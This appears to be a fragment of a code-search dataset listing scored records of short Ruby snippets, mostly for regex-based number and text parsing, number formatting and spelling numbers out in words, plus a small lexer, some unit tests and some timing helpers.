"docid": "28b505404b15b57c2b95e4a309f60683", "score": "0.50778925", "text": "def ecart_texte(valeur, texte)\n return '' if valeur <= 0\n return valeur.to_s + ' ' + texte if valeur == 1 || texte.end_with?('s')\n valeur.to_s + ' ' + texte + 's'\n end", "title": "" }, { "docid": "efc089b5b9119700fec9a3bd766c4008", "score": "0.50777715", "text": "def entidades_nombradas(str)\n \n entidad_nombrada=\"\"\n conjunto=[]\n aux=str.scan(/\\w+\\-\\w+|\\w+|\\W/) \n aux.each do |elemento| \n if es_entidad_nombrada?(elemento)\n # A continuación se parte la entidad nombrada con cada aparición de un guión, \n # se convierte a mayúscula la primera letra de cada parte resultante y se\n # unen las partes con un espacio en blanco en vez de con el guión.\n aux2=elemento.split(\"-\")\n aux2.map! {|e|e.capitalize}\n aux2=aux2.join(\" \") \n entidad_nombrada+=\" \" if !entidad_nombrada.empty? \n entidad_nombrada+=aux2\n elsif elemento!=\" \" && !entidad_nombrada.empty?\n conjunto.push(entidad_nombrada)\n entidad_nombrada=\"\"\n end\n end\n conjunto.push(entidad_nombrada) if !entidad_nombrada.empty?\n eenn = conjunto.uniq # Se eliminan las repeticiones\n return eenn\n \n end", "title": "" }, { "docid": "c66909b8ccbff19aef9357293ceb724b", "score": "0.5063603", "text": "def nummerieren(nr)\n \n end", "title": "" }, { "docid": "cfeeb499ea2702ed775e2efdf02c1d3e", "score": "0.5062032", "text": "def hidden_number(string)\n# #Buscara el formato dado despues del gsub\n #y lo cambiara por lo que quieras\n string.gsub(/(\\d{4})-(\\d{3})/, \"XXXX-XXX\")\n end", "title": "" }, { "docid": "64514a105446e4571418c96cd7f7e680", "score": "0.506158", "text": "def normalize\n @number = super.gsub(/^PL/i, '') # only pl NIP's are valid\n end", "title": "" }, { "docid": "0319f1697c641f0c33cdad9a92b0fb1a", "score": "0.50545466", "text": "def get_match_groups\n regex_cond = /(\\d+)([(\\.\\,\\-\\–])?(\\d*)([\\,\\-])?(\\d*)([\\,\\.])?(\\d*)\\s?(million)?/\n @budget_string.gsub!(/\\ /, \" \")\n @budget_string.match(regex_cond)\n end", "title": "" }, { "docid": "be48bc914eb2c55dd937c2bee6f30943", "score": "0.50474715", "text": "def formata_nosso_numero(nosso_numero)\n nosso_numero.somente_numeros.ljust(20, ' ')\n end", "title": "" }, { "docid": "f02eb0487d95eb582ac5bb0cd4801ad2", "score": "0.50429016", "text": "def leer()\n \n\t\tsuperRegex = /\\A\\#.* \t\t\t\t\t\t\t| \t# Comentario\n\t\t\t\t\t \\A(\\s)+ \t\t\t\t\t\t\t|\t# Espacios\n\t\t\t\t\t \\Atrue\\b | \\Afalse\\b \t\t\t\t\t\t\t| \t# Constantes booleanas\n\t\t\t\t\t \\A[a-zA-Z][a-zA-Z0-9_]* \t\t\t\t\t\t\t| \t# Palabra\n\t\t\t\t\t \\A0b[01]+ \t\t\t\t\t\t\t|\t# Bits\n\t\t\t\t\t \\A(\\d)+ \t\t\t\t\t\t |\t# Entero\n\t\t\t\t\t \\A\"(\\\\.|[^\\\\\"\\n])*\" \t\t\t\t\t\t | # Cadena de Caracteres\n\t\t\t\t\t \\A\\[\t| \\A\\]\t \t\t\t\t\t\t\t\t\t| # Corchetes\n\t\t\t\t\t \\A\\~ \t\t\t\t\t\t\t| # Negacion bits \n\t\t\t\t\t \\A\\$ \t\t\t\t\t\t\t| # Operador unario de bits dolar \n\t\t\t\t\t \\A\\@ \t\t\t\t\t\t\t| # Operador unario de bits arroba\n\t\t\t\t\t \\A\\- \t\t\t\t\t\t\t| # Negacion o resta \n\t\t\t\t\t \\A\\* \t\t\t\t\t\t\t| # Multiplicacion \n\t\t\t\t\t \\A\\/ \t\t\t\t\t\t\t| # Division \n\t\t\t\t\t \\A\\% \t\t\t\t\t\t\t| # Modulo \n\t\t\t\t\t \\A\\+ \t\t\t\t\t\t\t| # Suma\n\t\t\t\t\t \\A\\<\\< | \\A\\>\\> \t\t\t\t\t\t\t | # Desplazamientos \n\t\t\t\t\t \\A\\<\\= | \\A\\>\\= | \\A\\< | \\A\\> | \\A\\=\\= | \\A\\!\\= | # Comparadores\n\t\t\t\t\t \\A\\! \t\t\t\t\t\t\t| # Negacion \n\t\t\t\t\t \\A\\=\t\t\t\t\t\t\t\t\t\t\t\t|\t# Asignacion\n\t\t\t\t\t \\A\\&\\& | # Conjuncion \n\t\t\t\t\t \\A\\|\\| | # Disyuncion\n\t\t\t\t\t \\A\\& | # Conjuncion bits \n\t\t\t\t\t \\A\\^ | # Disyuncion exclusiva bits \n\t\t\t\t\t \\A\\| | # Disyuncion bits \n\t\t\t\t\t \\A\\; | # Punto y coma \n\t\t\t\t\t \\A\\, | # Coma \n\t\t\t\t\t \\A\\( | \\A\\) # Parentesis \n\t\t\t\t\t /x\n\n\t\terror = false\n\n\t\t# LECTURA DE CADA LINEA DEL ARCHIVO\n\t\tfor i in (0..(@file.length-1))\n\n\t\t\t# INICIALIZACION DE VARIABLES TEMPORALES DE LA LINEA\n\t\t\tprevLine = @file[i]\n\t\t\ttmp = Token.new(\"\",1, 1)\n\n\t\t\twhile (prevLine != \"\")\n\n\t\t\t\t# CALCULO DE LA POSICION DEL NUEVO TOKEN Y COMPARACION CON superRegex\n\t\t\t\tprevColumn = tmp.str.length + tmp.column\n\t\t\t\trelPosition = superRegex =~ prevLine\n\n\t\t\t\t# VERIFICACION DE ERROR\n\t\t\t\tif (relPosition == nil)\n\t\t\t\t\terror = true\n\t\t\t\t\ttmp = Token.new(prevLine[0], i+1, prevColumn)\n\t\t\t\t\[email protected](tmp)\n\t\t\t\t\t\n\t\t\t\t\tprevLine = prevLine[1..-1]\n\t\t\t\t\tnext\n\t\t\t\tend\n\n\t\t\t\t# VERIFICACION DE COMENTARIO\n\t\t\t\tif ($&[0] == \"#\")\n\t\t\t\t\tbreak\n\t\t\t\tend\n\n\t\t\t\t# ADICION DEL TOKEN A LA LISTA DE TOKENS CON SU POSICION ACTUALIZADA\n\t\t\t\tj = prevColumn + relPosition\n\t\t\t\ttmp = Token.new($&, i+1, j)\n\t\t\t\[email protected](tmp)\n\t\t\t\tprevLine = $'\n\t\t\tend\n\t\tend\n\n\t\t# BORRAMOS ESPACIOS\n\t\ttokens.delete_if {|tok| tok.type == \"SPACES\"}\n\n\t\t#final = Token.new('$', -1, -1)\n\t\t#final.type = '$'\n\t\t#@tokens.push(final)\n\n\tend", "title": "" }, { "docid": "bdc644d54c29939e7ca321e981e54d59", "score": "0.50332403", "text": "def to_s( le_format = nil, separateur_prealables = CoursTexte::SEPARATEUR_PREALABLES )\n # Format simple par defaut, pour les cas de tests de base.\n \n if le_format.nil?\n return format(\"%s%s \\\"%-10s\\\" (%s)\",\n sigle,\n actif? ? \"\" : \"?\",\n titre,\n prealables.join(separateur_prealables))\n \n elsif !le_format.include? \"%\"\n\n return le_format\n\n elsif !(/%[^PCATS-]/ =~ le_format)\n\t le_format = le_format.gsub(/%-*\\d*S/,\"#{sigle}\")\n\t le_format = le_format.gsub(/%.*\\d*S/,\"#{sigle}\")\n le_format = le_format.gsub(/%-*\\d*T/,\"#{titre}\")\n le_format = le_format.gsub(\"%C\",\"#{nb_credits}\")\n\t le_format = le_format.gsub(\"%P\",\"#{prealables.join(separateur_prealables)}\")\n\t le_format = le_format.gsub(\"%A\",\"#{actif?}\")\n\n return le_format\n end\n\n fail \"Cas non traite: to_s( #{le_format}, #{separateur_prealables} )\"\n end", "title": "" }, { "docid": "57b3281f0c2a82508b62124622eeefa7", "score": "0.50258064", "text": "def valid_reel_number?(text)\n ! /^[0-9\\?]+ of [0-9\\?]$/.match(text).nil?\n end", "title": "" }, { "docid": "1bf6733bd21f5ed59ed233662423e94a", "score": "0.50248784", "text": "def recommendations(item)\r\n re1 = /Anbefalt av <span id=\"recom\\d+cnt\">(\\d+)<\\/span>/m\r\n item.match(re1)[1]\r\nend", "title": "" }, { "docid": "5ae121ab74773e6dbabe3ea36b5ddd54", "score": "0.5023712", "text": "def ol2\n @line[/^ {4}[0-9]+\\. (.*)/, 1]\n end", "title": "" }, { "docid": "dd22313d9f805fe1c8ca23987591d589", "score": "0.50172454", "text": "def pessimistic_requirement(arg)\n arg.match(/(\\d+(?:\\.\\d+)?)\\.x/)\n end", "title": "" }, { "docid": "588f2d39cd8ad884ec1975557b68db2c", "score": "0.5017003", "text": "def gross\n params['importe'].sub(/,/, '.')\n end", "title": "" }, { "docid": "26f713da14b2b911ce5c33c3c66a7593", "score": "0.5015568", "text": "def t_amt t_string\n amt = t_string[/[\\(][0-9]*[\\)]/]\n amt[1,amt.length-2]\n end", "title": "" }, { "docid": "436d2253aa317549cc1eec4af1c84c9a", "score": "0.5015527", "text": "def aspas_valor(linha)\n if linha =~ $regexs['then']\n $regexs['=esp'].match(linha)\n init_valor = $'\n\n if init_valor =~ /\\send/\n valor = $`\n valormod = valor.gsub(\"#{valor}\", \"\\\"#{valor}\\\"\")\n end\n end\n\n return linha\n end", "title": "" }, { "docid": "0c4e5f2618a8ecce15bad142ae74f671", "score": "0.50150603", "text": "def play_time(game_name)\n if /.*?\\+.*?\\-(\\d*?)\\-/ =~ game_name\n return $1.to_i\n end\n return 0 \nend", "title": "" }, { "docid": "74ef8ffdd9d5464927eff38a7fc322f0", "score": "0.5011869", "text": "def money_term(s)\n s.gsub(/(\\$\\d+\\.\\d+)|(\\$\\d+)|(\\d+\\.\\d+)/, 'moneyterm')\n end", "title": "" }, { "docid": "4adb4157b0d4aa4da0ff9712a8fede83", "score": "0.5009227", "text": "def transformar_pling(cadena)\n @cadena = cadena + 'Pling' if cadena.nil? || cadena.match('Pling').nil?\n end", "title": "" }, { "docid": "80880658b6f93f28a29cc96bf24df9aa", "score": "0.5008896", "text": "def integer_detector_regex; end", "title": "" }, { "docid": "78bcd9cd9dee45ae32ab6dd81f0f6302", "score": "0.5008386", "text": "def e222_dados_para_redef_nf_paulista\n return \"%1d\" % 1\n end", "title": "" }, { "docid": "66aa71404e710d88d6d177126494c127", "score": "0.5004029", "text": "def split_piece_name_of_the(last_added_piece)\n last_added_piece.scan(/\\d+|\\D+/)\n end", "title": "" }, { "docid": "0888cc192712918a341dcfc6be474227", "score": "0.4994484", "text": "def taux_texte(a_precision = 5)\n DBC.require(a_precision.is_a?(Integer) && a_precision >= 1,\n \"La valeur de precision '#{a_precision}' n'est pas un nombre entier >= 1.\")\n\n format(\"%#.#{a_precision}f\", @taux)\n end", "title": "" }, { "docid": "a968474935b28912dcceff1c154364af", "score": "0.49867168", "text": "def replace_percentage_and_literal_numbers(search_result)\n\n\t\t\tsearch_result[\"setup\"].gsub!(/\\w+/){ |match|\n\n\t\t\t\tif NUMERIC_LITERALS[match].blank?\n\t\t\t\t\tmatch\n\t\t\t\telse\n\t\t\t\t\tNUMERIC_LITERALS[match]\n\t\t\t\tend\n\t\t\t}\n\n\t\tend", "title": "" }, { "docid": "b10da509c24454d62f95434621261d7c", "score": "0.49733025", "text": "def majuscule_dansnom(array_principal)\ncompteur = 0\narray_principal.each do |variable|\n1.step(variable.length-1,1) do |i|\nif variable[i]!=\"@\" && variable[i] != \"_\" && !chiffre(variable[i])\nif variable[i]==variable[i].upcase #Majuscule\ncompteur +=1\nbreak\nend\nend\nend\nend\nputs \"#{compteur} emails contiennent au moins une majuscule\" # Le \"# sert a appeler la variable \"\nreturn compteur\nend", "title": "" }, { "docid": "de02c0a8fc5ec9673dfb8cf6c5f0276d", "score": "0.49703157", "text": "def correct_ol_list_parenth!\n self.gsub!(/(\\s*)(\\d)\\)/,'\\1\\2.')\n end", "title": "" }, { "docid": "b1e2afcdc2049667d29ece21952ec119", "score": "0.4967006", "text": "def formata_nosso_numero(nosso_numero)\n nosso_numero.somente_numeros.rjust(20, ' ')\n end", "title": "" }, { "docid": "770112209c622f6c8d54756fd8718d44", "score": "0.49572662", "text": "def weddingNumber number\n # We start setting pre_text to false because we have no text yet.\n englishNumber number, false\nend", "title": "" }, { "docid": "9a37f4ba7e269a8972610670e1d39b27", "score": "0.4947076", "text": "def title_regex\n\t\tregex = /\\d{1,2}\\/\\d{1,2}\\/\\d{4}/\n\tend", "title": "" }, { "docid": "5016ac55e59f6d464b29dcbac9e9b750", "score": "0.4945519", "text": "def issste\n FFaker.numerify('##########-#')\n end", "title": "" }, { "docid": "5c7d78cc13e67cb053fe04f43b53bfa7", "score": "0.4936969", "text": "def humanize_number(number)\n\tnumber.to_s.reverse.gsub(/...(?=.)/,'\\&,').reverse\nend", "title": "" }, { "docid": "6b6a69c78549b8a7f8648b6935ca6432", "score": "0.49325046", "text": "def _num\n\n _save = self.pos\n while true # choice\n _tmp = scan(/\\A(?-mix:[0-9]+)/)\n break if _tmp\n self.pos = _save\n\n _save1 = self.pos\n while true # sequence\n _tmp = scan(/\\A(?-mix:[0-9]*)/)\n unless _tmp\n self.pos = _save1\n break\n end\n _tmp = match_string(\".\")\n unless _tmp\n self.pos = _save1\n break\n end\n _tmp = scan(/\\A(?-mix:[0-9]+)/)\n unless _tmp\n self.pos = _save1\n end\n break\n end # end sequence\n\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_num unless _tmp\n return _tmp\n end", "title": "" }, { "docid": "bfffba03c1b7ddfd7beea03418216e83", "score": "0.49259406", "text": "def rublej(amount)\n if amount > 999999999\n return 'Превышен лимит 999999999'\n elsif amount <= 0\n return 'Введите сумму'\n else\n numbers(amount)\n end\n end", "title": "" }, { "docid": "8f7ec6c264ca6753334841e20cfaea4d", "score": "0.49253416", "text": "def to_letter\n num_i = self.to_i\n return 'menos ' + self.abs.to_letter if num_i < 0\n \n decimal = ((self.abs - num_i.abs) * 100).round\n readable_decimal = self.kind_of?(Float) ? \" punto #{decimal.to_letter}\" : ''\n raise 'Rango soportado actualmente: [- +]999,999,999,999' if num_i > SP_MAX_NUMBER\n \n case num_i.to_s.length\n when 1..2 then Spanish.read_L1(num_i)\n when 3 then Spanish.read_L2(num_i)\n when 4..6 then Spanish.read_L3(num_i)\n when 7..9 then Spanish.read_L4(num_i)\n when 10..12 then Spanish.read_L5(num_i)\n end.gsub('_', ' ').squeeze(' ').strip.gsub('uno mil', 'un mil') + readable_decimal\n end", "title": "" }, { "docid": "7a28145067128eae8215c00720cce2c9", "score": "0.49184158", "text": "def test_default_number_substitution2\r\n Locale.set(\"he-IL\")\r\n assert_equal \"יש לי 5 קבצים\", \"I have %d files\" / 5 \r\n end", "title": "" }, { "docid": "2da81405229a2a8cbd8063de466fb704", "score": "0.4918238", "text": "def DashInsertII(num)\n first = num.to_s.gsub(/([13579])(?=[13579])/,\"\\\\1-\")\n first.gsub(/([2468])(?=[2468])/,\"\\\\1*\")\nend", "title": "" }, { "docid": "bf10fea6de84a458ad0c6ea08db71f3a", "score": "0.4908467", "text": "def ol2_number\n @line[/^ {4}([0-9]+)\\..*/, 1]\n end", "title": "" }, { "docid": "925246b28b4f31d90b33a0f282547193", "score": "0.48996818", "text": "def vehiclenumbermatch\n \traise params.inspect\n \t #A,F=3,9\n \t #raise A+F+2.inspect\n #@luck1,@luck2 = luckynum\n a=params[:vehiclenumber]\n b=a.split('')\n #raise b.inspect\n @rescell=b.inject(0, :+)\n raise @rescell.inspect \n end", "title": "" }, { "docid": "5661ac2baf7fa3357df1ca8a762013db", "score": "0.48995745", "text": "def toll_free_number\n FFaker.numerify('01 800 ### ####')\n end", "title": "" }, { "docid": "914243bdd7280d9efea37dbc0ef77309", "score": "0.48994803", "text": "def short_number\n if /^(.*)(.{6})(.{6})(.{6})(.{6})(.{6})/i.match(number_without_formatting)\n \"TA-#{$6}\"\n else\n number\n end\n end", "title": "" }, { "docid": "d8e4a7a3f69bfb6d4432f46e42cfc749", "score": "0.48975444", "text": "def format\n\n @contenu = @contenu.tr('.' ',' ':' '(' ')' '[0,9][0,9][0,9]' '-' ,'')\n @contenu = @contenu.downcase\n end", "title": "" }, { "docid": "546548bc4cb69af54fb4888740720104", "score": "0.48966435", "text": "def imss\n FFaker.numerify('##########-#')\n end", "title": "" }, { "docid": "db4008a6dc7986f9c9e1f4efaf053fc9", "score": "0.48962146", "text": "def longest_number\n # only dot as delimeter is allowed, \n # no zero ommiting with float point number is allowed too\n self.gsub(/[^\\d\\.]+/,' ').gsub(/\\s\\./, ' ').split(/[\\s,]+/).group_by(&:size).max[1]\n end", "title": "" }, { "docid": "2c186fcc5c3a47aaa9fce577bbc0475f", "score": "0.48960754", "text": "def parse_persoon(val)\n val = val.gsub(/[´'‛’`‘`]/, \"'\")\n s = val.split(':')\n # commissie van redactie: J.D. Dengerink: 1 sep. 1953-4 nov. 1955 (1, nr. 1-3, nr. 9)\n if s.length == 2\n start = 0\n else\n start = 1\n end\n parsed = {'naam' => nil, 'rol' => nil, 'van' => nil, 'tot' => nil, 'nummers' => nil}\n /(?<naam>[A-Z](\\p{L}|\\.|-|'|’|\\/|\\s)+)(\\s*\\((?<rol>.+)\\))*/ =~ s[start]\n parsed['naam'] = transpose_name(naam) if naam\n parsed['rol'] = rol\n\n if s.length > 1\n /.+?(?<van>\\d{4})(-.*(?<tot>\\d{4}))?(.*\\((?<nummers>.+)\\))?/ =~ s[start + 1]\n parsed['van'] = van\n parsed['tot'] = tot\n parsed['nummers'] = nummers\n end\n\n return parsed\n end", "title": "" }, { "docid": "e7b603842a90fa3cf593fa112e5b6a0a", "score": "0.4889854", "text": "def read_number str\n str.to_s.gsub(/(([+-]\\s*)?[0-9,]*,*[0-9]+(\\.[0-9]+(e[+-][0-9]+)?)?)(\\s*.)?/) {\n read_number_sub($1, $5)\n }\n end", "title": "" }, { "docid": "1a35100ca9fc2606b8d250a071b2a4a2", "score": "0.48884344", "text": "def get_pan_no(line)\n line.match(PAN_NO_PATTERN).to_s.gsub(/\\s+/, \"\")\nend", "title": "" }, { "docid": "823e9947e946714bc12f398697db5cd2", "score": "0.4887094", "text": "def haystack_format_as_num(str)\n return \"n:#{str}\"\n end", "title": "" }, { "docid": "92ebd44000d9d4d64b8025f64e506e1c", "score": "0.4884207", "text": "def substituteNumbersInInput(numbers, substitutionCharacter)\n @regularExpressionPattern = /[0-9.,-]+/\n @regexMatches = numbers.to_s.scan(@regularExpressionPattern)\n @previousNumbers = ''\n @regexMatches = @regexMatches.sort_by do |str| \n\t\t\t[-str.length]\n\t\tend\n\n # Cut out each number from the input.\n for regexMatch in @regexMatches\n @separatorSubstitution = ''\n\n for i in 0..(regexMatch.to_s.length - 1)\n @separatorSubstitution += substitutionCharacter\n end\n \n while numbers.to_s.index(regexMatch) != nil do\n @previousNumbers = numbers\n numbers = numbers.to_s.gsub(regexMatch, @separatorSubstitution)\n \n # If no change was made, exit the loop.\n if @previousNumbers == numbers\n break\n end\n end\n end\n\t\t\n return numbers\n end", "title": "" }, { "docid": "b3835b67cbcf69dd4360d5e98b09e735", "score": "0.48835325", "text": "def mo_name_to_num(name)\n case name.clean\n when /\\Ajan/i\n 1\n when /\\Afeb/i\n 2\n when /\\Amar/i\n 3\n when /\\Aapr/i\n 4\n when /\\Amay/i\n 5\n when /\\Ajun/i\n 6\n when /\\Ajul/i\n 7\n when /\\Aaug/i\n 8\n when /\\Asep/i\n 9\n when /\\Aoct/i\n 10\n when /\\Anov/i\n 11\n when /\\Adec/i\n 12\n else\n nil\n end\n end", "title": "" }, { "docid": "d1a9ed8f115de5c25255144b32296341", "score": "0.48815608", "text": "def phone_numbers expr\n Expression.new(\n %Q{right(regexp_replace(#{split_on_separators(expr)}, '[^0-9]+', '', 'g'), 8)},\n MM::DataType::TYPE_String,\n true\n )\n end", "title": "" }, { "docid": "cd3301355245ba0929d327ba0679db2a", "score": "0.4879285", "text": "def test_basico_adicionais\n assert_equal('UM MILHÃO DE EUROS', 1_000_000.extenso)\n assert_equal('DEZ MIL TRILIÕES DE EUROS', 1e22.extenso)\n assert_equal('DOIS BILIÕES E UM MILHÃO DE EUROS', 2_000_001_000_000.extenso)\n assert_equal('DOZE MILHÕES DE EUROS E DOZE CÊNTIMOS', 12_000_000.12.extenso)\n end", "title": "" }, { "docid": "acef545539b2a7d2acf5eb152b066d56", "score": "0.48787826", "text": "def test_it_can_split_braille_message\n translator = Translator.new\n\n assert_equal [\"0.\", \"00\", \"..\"], translator.split_braille(\"0.\\n00\\n..\")\n assert_equal [\"0.0.\", \"00.0\", \"....\"], translator.split_braille(\"0.0.\\n00.0\\n....\")\n end", "title": "" }, { "docid": "db61c508ed8cdf245e219cfe6fe444b5", "score": "0.48770607", "text": "def numero_with_letra(numero)\n case(numero.to_i)\n when numero = 0 then return \"CERO\"\n when numero = 1 then return \"UNO\"\n when numero = 2 then return \"DOS\"\n when numero = 3 then return \"TRES\"\n when numero = 4 then return \"CUATRO\"\n when numero = 5 then return \"CINCO\"\n when numero = 6 then return \"SEIS\"\n when numero = 7 then return \"SIETE\"\n when numero = 8 then return \"OCHO\"\n when numero = 9 then return \"NUEVE\"\n when numero = 10 then return \"DIEZ\"\n end\n end", "title": "" }, { "docid": "db61c508ed8cdf245e219cfe6fe444b5", "score": "0.48770607", "text": "def numero_with_letra(numero)\n case(numero.to_i)\n when numero = 0 then return \"CERO\"\n when numero = 1 then return \"UNO\"\n when numero = 2 then return \"DOS\"\n when numero = 3 then return \"TRES\"\n when numero = 4 then return \"CUATRO\"\n when numero = 5 then return \"CINCO\"\n when numero = 6 then return \"SEIS\"\n when numero = 7 then return \"SIETE\"\n when numero = 8 then return \"OCHO\"\n when numero = 9 then return \"NUEVE\"\n when numero = 10 then return \"DIEZ\"\n end\n end", "title": "" }, { "docid": "ccfec697b47cfa4d75a09059c8e1deea", "score": "0.48669583", "text": "def print_num(min)\n min.to_s.reverse.gsub(/(\\d{3})(?=\\d)/, '\\\\1,').reverse\nend", "title": "" }, { "docid": "bd25897fe506e0080cee042eb8b91dc9", "score": "0.48649183", "text": "def run tabla\n\t\tif\[email protected] =~ /\\A[0-9]/ then\n\t\t\[email protected]_i\n\t\telse\n\t\t\[email protected]_f\n\t\tend\t\t\n\tend", "title": "" }, { "docid": "ed0faa6979bb62dc9803059132e073b9", "score": "0.48648047", "text": "def find_unit text, number\n if not text.empty?\n partition = text.partition %r{^[a-zA-Z]{,3}?[ ]?[/]?[ ]?[a-zA-Z]{,3}[ |.|,|:|;]*}\n\n if not partition[1].empty?\n partition = text.partition %r{^[a-zA-Z]{,3}?[ ]?[/]?[ ]?[a-zA-Z]{,3}}\n\n if partition[1].is_unit?\n\n ts = partition[0] + @unit_rgx.gsub('x', number.to_s)\n return [partition[1], ts, partition[2]]\n end\n end\n end\n end", "title": "" }, { "docid": "f29dc051d3ebc2e37191f4173e8b3851", "score": "0.48626405", "text": "def get_age(age)\n age.split(\" \").find{|s|s[0]}.to_i\nend", "title": "" }, { "docid": "8188a601929a07f743fa6c5dbbe1e309", "score": "0.4861119", "text": "def rt_to_num rt_count\n if rt_count == '100+'\n 100\n else\n rt_count\n end\nend", "title": "" }, { "docid": "b605968d30facb7828ae0338aff12aef", "score": "0.48609835", "text": "def number\n @number.to_s.gsub(/\\A.*\\z/, '(123) 456 - 7890')\n end", "title": "" }, { "docid": "0af0cb439660b1d12dff9d3568ddf569", "score": "0.48609412", "text": "def process_lit(exp)\n case exp[0]\n # A range\n when /^.*?\\.\\.\\.?.*?$/\n mark(:range) + super\n else\n super\n end\n end", "title": "" } ]
17f82e4bf354cc8bcf6671b2ab935d47
TIME COMPLEXITY = N 2
[ { "docid": "afc6f0f68c4b872c4bdd82086d58fe8f", "score": "0.0", "text": "def second_anagram?(string1, string2)\n arr1 = string1.chars\n arr2 = string2.chars\n\n arr1.each_with_index do |el1, i|\n arr2.each_with_index do |el2, j|\n if el1 == el2\n arr1[i] = nil\n arr2[j] = nil\n end\n end\n end\n\n arr1 == arr2\nend", "title": "" } ]
[ { "docid": "b7b674ddf3589873196cccd40498f1ed", "score": "0.62616116", "text": "def time_dilation(t0,v,c)\n dilation = t0 / Math.sqrt(1-((v/c)*(v/c)))\n return dilation\nend", "title": "" }, { "docid": "b3929c54bbce28e89dd83fba60f7b4b0", "score": "0.62238574", "text": "def build_timing; end", "title": "" }, { "docid": "316eb5edbf5bd1e3496835fc2eb0b299", "score": "0.6175358", "text": "def cstime=(*) end", "title": "" }, { "docid": "94224edeb82a3e41a1c61231e182e3b0", "score": "0.60923564", "text": "def cstime(*) end", "title": "" }, { "docid": "98de77d20f3e302ab82edaac700ab9b3", "score": "0.608583", "text": "def nanoseconds; end", "title": "" }, { "docid": "5474e3045a9fc8b3e18a258f4041e18b", "score": "0.5873592", "text": "def coord_time(i)\n i.to_f / 24 * @width\nend", "title": "" }, { "docid": "3e2d8ca2800d4a92cdb1ddf0e082032a", "score": "0.5808654", "text": "def milliseconds() Float(self * (10 ** -3)) end", "title": "" }, { "docid": "3c4d6c7753f749190fa5df3c0c7a22b1", "score": "0.5791577", "text": "def generate_time\n\t\tret = Array.new\n\t\tcount unless @fileinfo[:count]\n\t\ttrigger unless @fileinfo[:trigger]\n\t\tsampling unless @fileinfo[:sampling]\n\n\t\t(0..@fileinfo[:count] - @fileinfo[:trigger] - 1).each {|i| \n\t\t\tret << (i * @fileinfo[:sampling] * 1e-6)\n\t\t}\n\t\treturn ret\n\tend", "title": "" }, { "docid": "cef618212eef0a4cbe27c7d09d7a7fdb", "score": "0.5788285", "text": "def sec_fraction() time[3] end", "title": "" }, { "docid": "01a2f946dad61262a008cf3ac201cf64", "score": "0.57596534", "text": "def litres(time)\n (time / 2).to_i\nend", "title": "" }, { "docid": "8def8d9698818336b513f2a7ee3d42f6", "score": "0.57060206", "text": "def sec() time[2] end", "title": "" }, { "docid": "7c9416c162b55c302c0fdf53ea0b8a8b", "score": "0.56948537", "text": "def hitimes_duration_i2\n Hitimes::Interval.now.stop\nend", "title": "" }, { "docid": "444d19186b5a3cc27415fb692b9ace81", "score": "0.5635214", "text": "def hitimes_duration_i1\n i = Hitimes::Interval.new\n i.start\n i.stop\nend", "title": "" }, { "docid": "5551a6195acac3f5f7ace82aaaf9f041", "score": "0.56326884", "text": "def microseconds() Float(self * (10 ** -6)) end", "title": "" }, { "docid": "12ffd2fa4f79570ef002a3c8d1568bcb", "score": "0.5621728", "text": "def equation_of_time(t)\n\tepsilon = obliquity_corr(t)\n\tl_0 = sun_geom_mean_lon(t)\n\te = earth_orbit_eccentricity(t)\n\tm = sun_geom_mean_anomaly(t)\n\ty = Math.tan(epsilon/2.0)**2.0\n\n\teq_time = y*Math.sin(2*l_0) - 2*e*Math.sin(m) + 4*e*y*Math.sin(m)*Math.cos(2*l_0) - 0.5*y*y*Math.sin(4*l_0) - 1.25*e*e*Math.sin(2*m)\n\t\n\t4*deg(eq_time)\nend", "title": "" }, { "docid": "1182dd0594ef4a8eb04bb707a7817594", "score": "0.5610524", "text": "def fast_duration\n 0.5\n end", "title": "" }, { "docid": "e24e4c3bf981085d1fc58f244a8ac1e0", "score": "0.5561661", "text": "def total_time; end", "title": "" }, { "docid": "522c81c4c9e069da90f88f9d11c81a21", "score": "0.5548821", "text": "def cutime=(*) end", "title": "" }, { "docid": "df1e8f5d7a0e45466263fe8ef2941310", "score": "0.55297667", "text": "def time_class; end", "title": "" }, { "docid": "1372dadd86c4281d8df194ccdf95dabd", "score": "0.55212104", "text": "def seconds\n _nudge[2]\n end", "title": "" }, { "docid": "820f6b300f0a46fe74fa30ae3ea35f5a", "score": "0.5512651", "text": "def timeSpeed (n,a)\n n.times do\n\ta += a\n end\nend", "title": "" }, { "docid": "c3e53c7ce4204477d35ebf378b6a589e", "score": "0.5500836", "text": "def hitimes_duration_t1\n Hitimes::TimedMetric.now('duration_t1').stop\nend", "title": "" }, { "docid": "d67a5209cbeedf518097d2a6c15dc1d1", "score": "0.54919213", "text": "def time; end", "title": "" }, { "docid": "d67a5209cbeedf518097d2a6c15dc1d1", "score": "0.54919213", "text": "def time; end", "title": "" }, { "docid": "d67a5209cbeedf518097d2a6c15dc1d1", "score": "0.54919213", "text": "def time; end", "title": "" }, { "docid": "d67a5209cbeedf518097d2a6c15dc1d1", "score": "0.54919213", "text": "def time; end", "title": "" }, { "docid": "d67a5209cbeedf518097d2a6c15dc1d1", "score": "0.54919213", "text": "def time; end", "title": "" }, { "docid": "d67a5209cbeedf518097d2a6c15dc1d1", "score": "0.54919213", "text": "def time; end", "title": "" }, { "docid": "d67a5209cbeedf518097d2a6c15dc1d1", "score": "0.54919213", "text": "def time; end", "title": "" }, { "docid": "d67a5209cbeedf518097d2a6c15dc1d1", "score": "0.54919213", "text": "def time; end", "title": "" }, { "docid": "d67a5209cbeedf518097d2a6c15dc1d1", "score": "0.54919213", "text": "def time; end", "title": "" }, { "docid": "55ae7de00a3198a97e4d5bd14227e4ea", "score": "0.5453549", "text": "def measure_duration(ppqn)\n (4 * ppqn * @data[0]) / (2**@data[1])\n end", "title": "" }, { "docid": "b56a70d13684f771505340536027a5eb", "score": "0.54331326", "text": "def time_global_pheromone_at_time(value_of_objective)\n\t# where q = [time=10, cost= 10_000, quality=0.0005]\n\t((1 - GLOBAL_EVAPORATION_RATE) * pheromone_at_t_minus_1) + time_changed_pheromone(value_of_objective)\nend", "title": "" }, { "docid": "43b9df7d730cd8f2f00f100cfbb70bf6", "score": "0.5420607", "text": "def cutime(*) end", "title": "" }, { "docid": "b749aba266ac0744626652175f8d64c5", "score": "0.54181296", "text": "def time=(_arg0); end", "title": "" }, { "docid": "b749aba266ac0744626652175f8d64c5", "score": "0.54181296", "text": "def time=(_arg0); end", "title": "" }, { "docid": "b749aba266ac0744626652175f8d64c5", "score": "0.54181296", "text": "def time=(_arg0); end", "title": "" }, { "docid": "b749aba266ac0744626652175f8d64c5", "score": "0.54181296", "text": "def time=(_arg0); end", "title": "" }, { "docid": "b749aba266ac0744626652175f8d64c5", "score": 